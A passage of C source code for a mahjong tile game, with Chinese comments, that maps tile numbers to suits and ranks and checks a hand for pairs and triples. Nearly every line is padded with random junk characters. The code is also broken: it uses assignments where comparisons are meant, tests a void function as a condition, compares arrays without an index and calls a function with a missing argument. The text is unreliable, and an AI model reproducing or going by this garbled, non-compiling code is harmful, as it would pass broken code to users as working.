+ n3 |! q# G1 j  Celse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)1 V( p4 v, f% V/ n- V# P* ^. E
logoo=4;
+ T& u' [7 ?  C  Aelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
7 j+ }" V* X3 ]/ f2 w' f* wlogoo=5;, }6 Q; M) f: o% t+ P- }
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)" j7 j: u7 D7 W+ U2 i, D
logoo=6;) k$ v: }/ {& r& B- ]
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
4 p. _& t4 s: ^' f% B9 g; tlogoo=7;
* y2 \  C2 _1 [8 A. ~  velse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)3 F; ~3 M5 G2 L6 g$ ^* Z
logoo=8;
2 }+ i& J) j: {5 s# [/ Ielse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
5 q& z% R- @, L$ mlogoo=9;2 Y/ e$ z: }1 N5 [( G7 d7 |7 m
}
) W& p9 `& y; ]0 }else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
. v- o- n0 d% I2 ^# X+ k* E* L{! U, r0 O. a& M: s
logo=3;
* N+ g- L$ l. G0 [6 Aif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)7 S/ v# B% E) @- _: T# v6 k
logoo=1;4 _; y8 a8 ~' U( }' Z
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)4 [6 ~* E3 v0 K! o, q! o/ I
logoo=2;1 Q- w$ v# y4 e0 z; A
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)+ d) S1 ?9 X* q9 C. M4 _
logoo=3;7 ^& r2 m0 ?8 K$ Z; G
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)8 v% q. z% `5 G/ I  w
logoo=4;
- o- I7 W( W# Uelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
+ w0 |: L& T' {  _logoo=5;$ g; V9 ]( U. ]  O  G- m+ H' T* f
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)# Q, M! @# ~; r! e: ?* |3 t" L0 Q
logoo=6;) P: q( p4 D. m3 W# j
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)! I0 C! O: t, O+ G" D& w' e5 f( U
logoo=7;) X1 V- O2 V( v1 {" C
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
5 h; T. M4 v) R6 q8 Y  j9 ?8 B& rlogoo=8;
+ k2 @( f+ `% Y3 i5 }else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104). M0 ?! p/ ]) _& F2 ?
logoo=9;
+ O9 L$ g" A4 q2 K}/ s5 _1 R2 `, X( O
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
. t$ {0 J# u$ V0 C* ^{: E+ `# ?- `$ ]. n) T! C
logo=4;' m  y, A* \" o* R8 L& h* ]
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)4 I, b$ `3 {0 ]1 n. J2 |
logoo=1;
- N; q) Y/ m& @' o: x7 Q3 w  z) Felse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)9 T% [4 Z7 {3 ]- x7 c7 E
logoo=2;
" ~& h0 P5 W0 n6 d. qelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
/ k) d% S1 v! E6 jlogoo=3;& |; \2 o& v8 U6 g. a* s- G" q# @: h
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)7 D5 X7 ~2 J: Y. Q
logoo=4;4 U/ S# M. V  C
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)" s) x: n: J. P4 ~+ |8 A. O% Z- s
logoo=5;4 I, s5 h9 k/ i0 X* v
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)# m, J6 R7 P6 |, O
logoo=6;
: X% A2 a! m: K( Relse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)% T' a: V/ ]+ W5 m) w
logoo=7;6 B& N9 R  ]1 W% Y! B) H) V
}! l3 S) B. @; I- s4 n
while(b&lt;=me.m)0 ~7 w+ d' H) X  N5 C5 `) u
{# e6 n- |2 i) g
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/5 |4 w# N& m* G, m4 p
{  E) ]$ ]6 Z1 B1 V% W8 [2 Z
lg=1;" {+ J0 r2 H% Y5 [6 |
me.pp.d[0]=1;; h0 t% A) n8 t& |+ T
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)2 r# |: V% j1 \
{
8 W" R( W' w. |lgg=1;
, F8 S3 {& P$ P5 e+ Gme.pp.d[1]=1;1 k9 b/ k: n% |# g* _* x3 G& _
}
" \$ [$ h; a$ [% h; g( |else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4). Y3 p9 ~( n- P' x# H# o$ |
{
6 v+ u2 n3 i% dlgg=2;
( v% T  F" E1 B. e3 ime.pp.d[1]=2;
) s7 r+ v! C7 X: b; A9 _}
2 }- d/ q+ T. i9 u4 m( d% felse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
- M( |" f3 O2 v{
5 C; `3 l# r  A0 clgg=3;- X- ?! }4 Q' x4 q3 K. Y
me.pp.d[1]=3;
0 ]& ?$ X1 l$ Z* w; ^9 T+ \}; x& w% h- \9 c0 ^7 K* Q- U
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
( S% f, E4 W  B; g/ F0 x: e' v4 x! `% Q1 `{
: |7 O1 G6 V7 R! G5 Slgg=4;
! E, N: {" f! f1 V6 P* _- \me.pp.d[1]=4;6 E0 X& b$ y! H7 i% t
}
! Z& H+ ]) m- B# jelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
) ]+ {3 p/ ^* P' Q% e% H. k{
; O! L1 c. k% u( z' Nlgg=5;
* `% p" O4 p! f' s2 v- x' mme.pp.d[1]=5;: {% ?' e  Z4 t
}8 l5 M: y3 o& q6 l
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
; q: d* d; ~  M$ ?, V" [7 L# F/ u{
/ F0 x: ]4 C$ F% U: t  Ylgg=6;' K/ g5 k, ~1 h' |- |2 m
me.pp.d[1]=6;
  P0 `. i4 M6 g( s: o; ~# i+ a}& o3 H' ~+ `7 z7 Y+ N' j
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
, d/ @2 r4 L% L& S% ]- r{; B9 ?# U# L) W, N9 H/ ]% q
lgg=7;
1 \6 h& {% p, {- B' ~* Ume.pp.d[1]=7;: X: W, ]5 d2 D0 g' L7 g
}
+ b* B! Y1 u" U0 Z: ?& Kelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)( j9 c( `: |5 o- A5 D7 H
{
0 _! T# ]1 }2 D/ X# P( Llgg=8;2 F8 r; t9 u2 U7 `" |
me.pp.d[1]=8;3 {8 b; h% d4 p1 o
}. r4 F" I6 {7 q
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32). G+ O  H% f! {1 k" |- h5 W
{' `# E% z- P' ]; p
lgg=9;
6 f+ B: q! o& T* x' M1 bme.pp.d[1]=9;
* C2 Y  u0 R: L6 \" t0 v" w}+ e$ |+ t* Y4 q
}) [. R0 o$ e2 J
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
" x% ]" {/ t! ~{% S0 _4 q/ d- v+ d5 J
lg=2;! v9 p# d  ]; y8 ]( W
me.pp.d[0]=2;' ?& Z! P6 L! w7 {; `* m) G+ l
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
3 ^/ b# B, s$ J9 k* [. @( ?7 h{  ]1 Y% d5 B6 ~) `
lgg=1;6 Z0 ~$ U( Y* I* y
me.pp.d[1]=1;
1 l7 u- h& K' Q) }/ {$ Y}% i$ }$ i! g  y: W- W# J$ [8 G; J
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)) H; O% p, {) p7 V$ \
{- g5 k( s1 Y% i6 O
lgg=2;4 x+ B" U, @3 d
me.pp.d[1]=2;9 ]; d- |* T0 h" v
}( g9 E, A" Y! l% F% Z
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44): N& x1 t, b: D8 g9 z6 p$ c  {
{1 A# c# a( T3 Z0 b" [' w5 w
lgg=3;
5 W  v7 s8 V; `& N6 ime.pp.d[1]=3;
, u. K! n2 v% y8 B( L! u( M- n}% O; {0 N1 N" f$ [3 \
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)4 G2 q  t+ U* ]
{
. _- b8 Y* i5 Dlgg=4;
6 I* F8 m8 v2 K, Z! o5 M4 _  Rme.pp.d[1]=4;" @3 e, `0 f6 c$ G8 @8 N, U
}
6 U- U% J8 @" \" Gelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
5 c7 G/ J1 J; ?& v! Z{# f1 z  F7 f4 E, R9 e- I# F2 v
lgg=5;, a$ W$ t" o7 P- }: V. Y8 S& f6 _
me.pp.d[1]=5;
$ h1 L" T; E4 R, h& x  N9 ]! F# E# D}' n6 e. a7 P% E2 p0 j, p6 S+ w
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)  l- L, U! ?7 y3 W
{
2 p$ q/ ?0 u* i/ ^% d6 N6 C+ v) Ulgg=6;* t3 M, _/ |7 d0 s5 Y
me.pp.d[1]=6;; _# |. r* I: @# e6 w' ]+ ]  y- z3 e0 |
}" B8 ?: g% }* R# a, p: Y
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
: m1 Z. P: c2 O5 @8 @{
8 H) g  u- V/ G; X" v4 {lgg=7;2 P" W! L: I/ T; [$ }/ w: n
me.pp.d[1]=7;
3 t) G9 y) |* p2 [4 \9 m: {) F}% i. d1 v1 r% x  w8 Y
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
& P8 i% q, f# }( C4 s" [& D: {8 h$ K{; d9 j2 B/ y4 m6 h+ C* M4 }
lgg=8;
, r* {& L( H# w2 W2 l  v! {me.pp.d[1]=8;
- O, T$ l3 \7 m5 `; z6 N}
9 I* x8 `8 K9 m, |else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
; n% {8 }% J  L; `! G{
( J) D4 z/ K7 v+ }7 Plgg=9;, N# P( S2 Y# e5 K
me.pp.d[1]=9;  ?' P$ y) `% n5 |) {6 U) U$ y
}9 D) @( W; _+ K- s6 H! k) L
}
3 W6 p# Q2 m( {2 }9 }else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
* Y3 l6 Q" m4 I- i) p4 |+ ~( z{1 J' }7 b/ x5 s. e' q: m  |4 r$ R$ N
lg=3;& F( s$ g. F% R/ @" _+ J
me.pp.d[0]=3;! Y' H0 R  V, @$ D( Q
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
3 k% v" S% E  F! S( `{
3 a: _" |& i# i7 k! Qlgg=1;
0 u/ m4 \  K$ |, H* ]me.pp.d[1]=1;
/ a1 z, Z) f: d}
- v! U) y2 d' e$ H8 `else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)3 W8 Z* `) R9 I$ q& u; Z
{
' h3 H" L$ p- Z+ m9 glgg=2;3 L8 W& Q. P/ r0 N
me.pp.d[1]=2;
: u) h( p; y! u$ O: Q+ r5 ~- k}
# i0 s  `+ _6 j* w! ~4 u8 Y" ?5 celse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80): \( v# @; ]5 f3 U1 G. Q
{
: D8 `+ t1 d7 }! M9 wlgg=3;
; @" o8 ~3 r) Vme.pp.d[1]=3;
- ^/ b' B0 g, y: J  E0 J! d1 V1 d}
( ?/ O7 c  f+ q5 Z4 x4 m5 relse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
# D) C+ [6 g& J+ g$ g( g" `, U- y" W{; u( r0 V4 u7 }3 u7 ]# \
lgg=4;3 t: f9 m. J; K
me.pp.d[1]=4;
9 M7 n! E% j8 |% h" Q7 B  _' l$ u}$ ^, G& d2 j7 S) ^7 m( T0 t
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
  p+ c  o: e9 N" v' q$ t{  @: ^2 n- T- B+ B) c8 s
lgg=5;
7 G' X2 [6 R* i* Rme.pp.d[1]=5;
0 ~, m; d# g/ M: r4 H2 j9 J7 X}  r8 K) e/ ]7 }* e' o
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)2 o6 Q. ^5 C7 P% |
{" e8 h0 S9 i" }* h
lgg=6;- `: L. Z4 B( s# R( s
me.pp.d[1]=6;
) y6 O3 X4 \& q}
5 z: V! S5 g2 ^! n$ felse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)0 C- ~) l- x+ ~5 H5 r; H: l
{) m+ T5 P, Z/ H
lgg=7;1 T) a3 i# G; g9 \/ b  x
me.pp.d[1]=7;
, E9 \1 _% A/ [. _4 E2 w- g}
: \: p0 s, ?3 K0 xelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)1 T' u( Q1 x9 }7 K/ v) O
{
! K  s! Y3 Z. W* Clgg=8;
7 ^$ Z; d7 l# a" p" xme.pp.d[1]=8;" L4 _* J: H3 D, A5 [4 |
}
  e$ f7 @# d5 H& B1 L" T( E$ zelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
# g4 t9 O' a2 ?7 V7 Z{
/ e1 a0 Z2 f+ L8 T- _2 Tlgg=9;
# `2 S6 t) H2 F2 v) X: Eme.pp.d[1]=9;
# ~8 D1 _0 h$ b2 L}" @+ G% x! B+ f1 B* s/ o% E
}# G. n/ Q& X6 L0 @( a8 t7 P* {
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
3 J, d: |/ q, o4 ~% n" q: K{
' Y" V7 }) q8 s# J8 Flg=4;
  ^* n# ^- C& ?4 u! Qme.pp.d[0]=4;
& e% O0 \. f# b% H; J8 jif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
" i/ f3 `9 y- C2 Q7 ?6 h* s* z3 N{: ]( O  g2 X8 k3 g0 f$ m! F- T( }
lgg=1;% i9 W" D$ r, g. N$ Q- g
me.pp.d[1]=1;
2 C" M$ |4 U4 a" k}) s9 Y! l1 N: g- Q, i5 Q
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112): _" s8 Q6 \8 ^( j
{
; I6 J) \. F' A- xlgg=2;
& s. D( v" a/ G7 T7 Jme.pp.d[1]=2;
6 R; y, [( D) d, R4 i( Y}
3 j  v. N* U1 R+ ?- P  ^else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)+ L, i9 T7 x% n5 @' ]
{& ?  U6 a& P8 Z, v8 T
lgg=3;3 Y; o9 I$ R; C( I7 t# k$ U+ V
me.pp.d[1]=3;
8 z* q! [5 G5 n' i+ U3 E- u! ?' ~}
- v- w" {4 f1 H8 ]3 N2 Relse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
% Y$ r8 \6 ]8 p! a* C{
. V: Y; U% z! I: flgg=4;
4 ]0 g, W+ m+ O. _& |- yme.pp.d[1]=4;
; {# m8 H  x- ]7 ~; @* |6 \0 r}, i" D0 C! k2 A+ r- ]  O( D$ P
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
- O: I- @) ^$ X. v* e. s{
- U1 X6 n# Q$ J! a* m& Algg=5;
% K1 U& |  C# _3 e  S( U2 kme.pp.d[1]=5;4 w3 e# P$ p5 ~
}/ _/ ~! }* e; m& M
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
; p* e2 y& o% R' ^  R{
! w7 \6 U6 r1 w8 R1 r. n& _lgg=6;
$ f( _+ Z, n  N. Y8 vme.pp.d[1]=6;5 R) s- o4 w" [8 j$ A) v
}
& b1 [2 V) I% a" Z4 c1 Eelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)9 ^. j$ `0 p9 r
{
" C& P% M! x8 L" {, I- S4 [lgg=7;0 I/ v4 Q2 p! q1 Y" H5 {
me.pp.d[1]=7;
. z, f0 X( Y7 b; J+ [}
" E8 P2 u( T$ h+ w}
9 `& G! v' D, h, J4 i) H}4 F; d. [2 a2 w) Z% z1 q7 G
}
/ _8 d0 \; g$ ^void istwo(testt)
) W7 ^+ f% F& I+ Z4 P" e7 vint testt[];
: X5 H  Z5 M( b/ f! w! d& M. s{ if(testt[0]==testt[1])
7 ?9 ?' k0 B# ?& j( l; N$ Z% Ksecond++;0 T. T6 o% p+ c2 T* }
}* H& S6 \8 _% @0 q3 g7 \+ L8 ]
void isthree(testt,n)' c; U3 Z/ ~( f& j& Z8 v) Y5 D
int testt[],n=0;
, C# b1 p' v. _- c{ int i,j,flage=0,lianx=0,same=0;; H' S( L# Q# x
n=n/3;
5 e+ K9 g9 W/ b/ mfor(j=0;j&lt;n;j++)
9 }" [1 N3 b4 {' d4 V{
$ v" p9 g/ }" d9 D" V6 kfor(i=j*3;i&lt;2+j*3;i++)
! m8 i+ [+ |, S# A{; Q% i7 N) j2 |0 q& N$ j1 ^6 m5 _9 ~
if(testt==testt[i+1])9 v+ Q& f& g- q* _  b
same++;
# F8 Z2 C/ O# C8 Tif(testt[i+1]-testt==1)
6 B% K! I3 I& n( z: I: Q* D4 q* Elianx++;
8 T6 @3 N4 z6 z2 x) L7 C}
$ K* }, h' C" ^. Kif(same==2)
) M6 c9 B3 o* W7 ^& Jthrees++;  ~' P8 y, D3 K+ H
if(lianx==2)
+ @$ ?% p4 J8 t: \* n! `% x# ]threes++;
. `, x) U& `! F- v% ^; Asame=0;
( X; Y' w& b! qlianx=0;# f. P8 U# e1 F5 I( R$ i0 \
}  ?3 X5 s. W8 J) o" L) D" ^
}
( I4 k  Y8 b$ f2 s2 \void panduan() /*本程序的精髓*/
5 U4 c: a& w; {( x2 g{int data[14];; v' e4 d. F: v3 T& `
int pw[14];4 {! q- j; U4 K: H8 y5 \# @4 b
int pt[14];6 l+ N# i  o" \
int pi[14];, W4 G- @  v/ s, y8 X
int pf[14];
: f8 M: i6 r' n5 G5 B9 M: \% J; Z7 Lint test[12];
4 c, O+ c, ~3 s1 x- c- Dint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;# e/ Z% T4 v+ J. o: b
for(jj=0;jj&lt;=me.m;jj++)
9 D5 f3 c! T2 D$ V9 n- L{' p( d. g9 @# b, b
if(me.pp[jj].d[0]==1)1 o. M7 k/ l" U, I" q+ g/ C3 k8 o. t
data[jj]=me.pp[jj].d[1];
# }  h0 J* S# \! {! g( W6 X; Oif(me.pp[jj].d[0]==2)
' \* z1 ?# H1 ]( a: \1 Y  Edata[jj]=me.pp[jj].d[1]+10;
. ]7 n: O  k2 r/ }if(me.pp[jj].d[0]==3)% s# a) r& p+ D
data[jj]=me.pp[jj].d[1]+20;
2 g& k6 h/ i3 h+ x  Bif(me.pp[jj].d[0]==4)* A5 @1 d0 E1 g9 t5 |  P
data[jj]=me.pp[jj].d[1]+30;
9 |# M8 T! g5 O}
$ Y: e# |" K3 Y: iif(logo==2)
, p, E5 o, V- a# B4 M. T  ow=logoo+10;& J( ?. i9 \; [) c; V/ r
if(logo==3)
$ D' ~: X; p0 \' S; T% n1 Nw=logoo+20;6 F9 [- D+ I9 C& C# E9 i8 H$ D* M2 j
if(logo==4)2 A6 L% }2 }" H( q2 k+ w2 Y( g
w=logoo+30;3 ^, F8 T3 n+ Y; s" x, q3 \% u
data[computer.m+1]=w;
6 a5 L2 A6 e: A. \8 a5 H! ~for(mm=0;mm&lt;=computer.m;mm++)
& h# j% m0 O2 s# S9 R& d1 N' mfor(nn=mm;nn&lt;=computer.m;nn++)
+ j6 R0 L5 r) T5 p, P3 V9 uif(data[mm]&gt;data[nn+1])) ^, \. _5 t# ]2 B7 a; P& h
{# V. D! m7 p0 i2 a8 b2 d
tpp=data[mm];
1 [3 M9 Z! S9 Z* w) ^1 u+ @' A" Tdata[mm]=data[nn+1];4 @) q: p, R& f8 x7 J& {( }) L) O4 E
data[nn+1]=tpp;
3 K$ O# @  M5 R* N}
+ c6 h6 A! m0 [( v3 ?$ }! _lp=0;$ z" E* H" N9 B$ Q
while(lp&lt;=computer.m)
' D& X$ Q9 s; |. ]) b3 f{ if(data[lp]&lt;10)
' B1 I/ h2 Y! u: k1 i' ?' Bpw[ww++]=data[lp];
5 l& v7 x! Q: C% U' Bif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
% F0 c8 h" T; P" z4 U, [' Dpt[tt++]=data[lp];" L/ ~- Z, {. g2 ^- p5 ?+ p
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)) g$ `2 g& h1 q' f. ?
pi[ii++]=data[lp];( W4 p" j: K. n/ Y
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
+ }" Z' L4 c4 G) Y5 j4 m! k6 |! l' h: ~pf[ff++]=data[lp];
' u" }5 S2 b; h/ rlp++;& ^% r. U0 E4 c" C1 x
}1 t! r0 p3 t) N
if(ww==2)
, t4 P% _1 o# \$ Wistwo(pw);2 N2 s! q& K( w7 {1 d& A
else if(ww==3)
' H( {) x0 t8 a. ?isthree(pw,ww);% c  ~0 M  }( Z% d
else if(ww==5)- A7 g0 V; G# v2 e2 B
/*pw[5]原始牌数组,假设已经升序排列*/
. z2 u0 _8 q8 r6 Y  b/*test[3]用来放置测试牌的数组*/
& z, p4 c: F* Kfor(i=0;i&lt;4;i++)
4 {' W( B% p# n9 p{8 h- X' k$ a; `  K* Q. a
for(j=0;j&lt;2;j++)
% y2 `2 M: n6 ^1 g1 Q: t& K+ F7 i  b{test[j]=pw[i+j];
. M- v0 N( a3 v9 c( i}; N8 W* I9 H5 }" |9 ~8 }
if(istwo(test))
8 ^# [2 t6 r5 q, }: _# {/ i2 j& D{ ill=0;/ z$ I$ @. {% h+ ~
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" j. E3 S( l- B- a5 C. Q* x
{if(kl==i)/ b5 z  X9 |/ d( I3 C
{. f! B+ M0 v- U2 O; e7 G
kl=kl+2;* j5 |- `, f" _) d* L/ Y
if(kl==5)
# }, L: }& z  a! Q7 b' ?break;% C! a& _  P- {7 d, e
}
* D" Y5 S  z* h2 utest[ill++]=pw[kl];
! l% ~1 {; G! M5 z+ Q3 e}: l4 v; p9 |7 q$ t, B
isthree(test);' [9 x1 f0 z/ K
}
! J% C* n$ ~% X1 y$ @}7 ?+ J* C+ T- ^8 \1 }1 p
else if(ww==6)  r$ ]; h1 p2 S& m  I& `0 ]. L
isthree(pw,ww);
% g$ c6 x. J! Q1 Uelse if(ww==8)8 O% E4 z0 t7 q$ f) ^) T1 R
for(i=0;i&lt;7;i++): X( F/ v  H$ G
{
6 S3 M9 J; G0 F7 j; E; B, Ofor(j=0;j&lt;2;j++)
' {6 ?* W, S1 A# J7 X3 q# Q' L+ ]{test[j]=pw[i+j]; ; f" `+ a( z9 u; T2 M
}+ j, x, R' Q( M1 \7 f# T+ d/ q
if(istwo(test))
4 d; O# U8 d2 k6 M" N' f{ ill=0;$ Y* a1 r7 S* ^. b# i/ K
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
6 q9 h% {  G5 [5 O6 Y; K6 d{if(kl==i)
" F" J2 E: a7 r- F: T& ~! L{- [6 {# w; o4 o
kl=kl+2;3 |+ N, p2 @' X( s" O& l: y# g
if(kl==8)
4 t6 m5 D& W6 v9 L$ A3 q8 Q; b: N; cbreak;2 M5 s+ d, x& S% O+ f
}3 @% N. G/ E6 {# j3 b' u
test[ill++]=pw[kl];2 u. I3 S* d, s$ }1 F1 t3 |
}: W! }9 U' {8 R! }, _" o
isthree(test,ww-2); 1 ~8 W; u; R! m5 W2 ~
}& i7 C' ~4 i: F9 w! |
} 2 V( w, d" ?4 i' v" h1 z
else if(ww==9), R, y" f4 n( J2 S; c! d
isthree(pw,ww);( _6 f( i7 Y) e  \4 O6 _2 z
else if(ww==11)
1 }6 P+ Y7 R8 W9 g8 Ffor(i=0;i&lt;10;i++)
* F+ ~1 f3 n9 r$ k2 ?1 {3 N{+ V( m# n: f1 J8 K
for(j=0;j&lt;2;j++)
! _' a/ Q8 U3 {' G4 Z$ A9 Q0 L{test[j]=pw[i+j];
3 ^& |9 b4 L/ f: m% S4 [" ~; H}
( M- x- \  k4 D* Y0 T3 U8 Hif(istwo(test))- l+ ^. U6 [# A$ ]4 D
{ ill=0;% d( L+ L% j& k4 z* ?1 q& ^
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/7 l, _3 f  w3 o+ ]: T, L
{if(kl==i)
9 K0 _+ @6 S: l0 m6 I4 e{
8 V" h# d  u( D0 [+ \. ekl=kl+2;
7 M9 C1 r5 f& D4 m/ Cif(kl==11)  I4 d+ Z5 D" c! Y
break;
9 ?1 D! r! v  S+ H}
. H  E- Q" Y4 I: ^6 ?2 n2 ltest[ill++]=pw[kl];: j8 L# r% ~) G+ o
}
% m5 R( u1 X0 w" n3 @6 G7 y) qisthree(test,ww-2); ! T- f2 e8 ]' ?- u8 Z1 j
}7 p) [; F5 ?) ?0 P8 o5 ~
} " ~( B9 t' a8 \
else if(ww=12)
, Q# _4 G/ P8 I0 Nisthree(pw,ww);7 O8 K# u9 D% V- Y2 \. c
else if(ww=14)/ U! J+ I5 {  ^2 v# P! h; f( r) D
for(i=0;i&lt;13;i++)
  `3 t( J: I' `* U! h/ O4 O4 J{
; U: t) E5 l/ k8 b$ h( @: b, zfor(j=0;j&lt;2;j++), r: i: S0 g$ K/ t1 X: j
{test[j]=pw[i+j];
1 b6 e7 L9 k2 g  X6 a}
6 T* \4 X7 v' k3 tif(istwo(test))
) M2 C: c# G" D3 r% U{ ill=0;7 q/ Z0 G# Z8 I; D' ?- u4 S9 p# {+ H
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 R4 d" U- g& y( x7 u* K2 u( f{if(kl==i)
1 L5 l. m/ n6 A4 j+ g% ^{
1 S* V* h2 v+ c; {  Nkl=kl+2;8 M, s' I& |$ Q& O
if(kl==14): j# N2 e: P6 d- L( N
break;
$ W$ G+ S* e( o: d" \}# Q0 R9 K- l6 \- ~' o. Z. j
test[ill++]=pw[kl];- Z* J9 R) ]# h6 F/ g& b- ?1 K
}
+ M+ B6 A. C% I# j  ~& j8 Eisthree(test,ww-2); 1 B. Y% Z$ C# B$ ^
}$ v0 L. S1 S# m( f
}
! T2 v  y; U4 n2 P, h* Bif(tt==2)
; x& a" `+ N4 q3 a1 Tistwo(pt);/ V  |" X* t6 ^, t
else if(tt==3)% E8 G9 G: g8 J, O7 J  t8 b
isthree(pt,tt);% g% Q6 ~# d+ a% ~2 U
else if(tt==5)4 B' q# P& E: [/ ]3 ^. i
/*pt[5]原始牌数组,假设已经升序排列*/* p6 E, t( b; x
/*test[3]用来放置测试牌的数组*/: d: u6 y3 [$ A
for(i=0;i&lt;4;i++)
  L% C! I( s/ x& v' t{
% X& k% U% O% k5 Mfor(j=0;j&lt;2;j++)% _* u$ z% I! V7 [9 R
{test[j]=pt[i+j];
" O1 q0 a/ B$ ]' H2 m}
( y- M& A1 K/ d* ~& ^if(istwo(test))# d9 u% v  c: D! r" Z" Q  V$ Z) J
{ ill=0;
+ q4 m% q$ d0 l4 g  c( Y8 q! Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
' d. @5 B0 o4 u- C  t{if(kl==i)
$ f, s7 P4 m. {) C: g1 E{' I  U- s8 E1 |) Q# A/ H
kl=kl+2;4 X7 L( r; x6 ?! `2 K1 K4 H
if(kl==5)- Y7 B3 z0 p  D
break;7 d* [5 G/ m) `9 n2 ~# d% k
}
/ m% \( x, X. G0 J" `& I( Vtest[ill++]=pt[kl];
5 m# t+ t5 e2 Q& ~}8 g. d8 ?2 s- x* U& p( Q
isthree(test);
% \8 h- ]; I2 G}( [4 G8 Q* L2 y0 h& n) ^+ l
}, r: D  x: J) v. ]' h' `+ |" D
else if(tt==6)
5 b* D; u6 I# `% F  Misthree(pt,tt); - A& |8 a- i9 ^) j
else if(tt==8)+ i- g: b4 E9 v! U; }2 h% [
for(i=0;i&lt;7;i++)
# J/ |, }" U# X& \6 [{
1 r7 K9 c3 K8 F) Zfor(j=0;j&lt;2;j++)( a0 i& j$ ]8 y3 r, g& s% ]' l5 U
{test[j]=pt[i+j]; 4 z: b- E  k4 N" ]7 R. n" O
}9 Z) q7 P4 Y. @3 X4 }: ]! h
if(istwo(test))
- n/ u4 q- i! i{ ill=0;  x( n4 s2 M- o: v
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/; i  V8 v! C) u6 e3 P, k/ h, L
{if(kl==i): ^, x" R* w8 c& F& _
{4 Q" {* k9 d- i' N* W8 p
kl=kl+2;
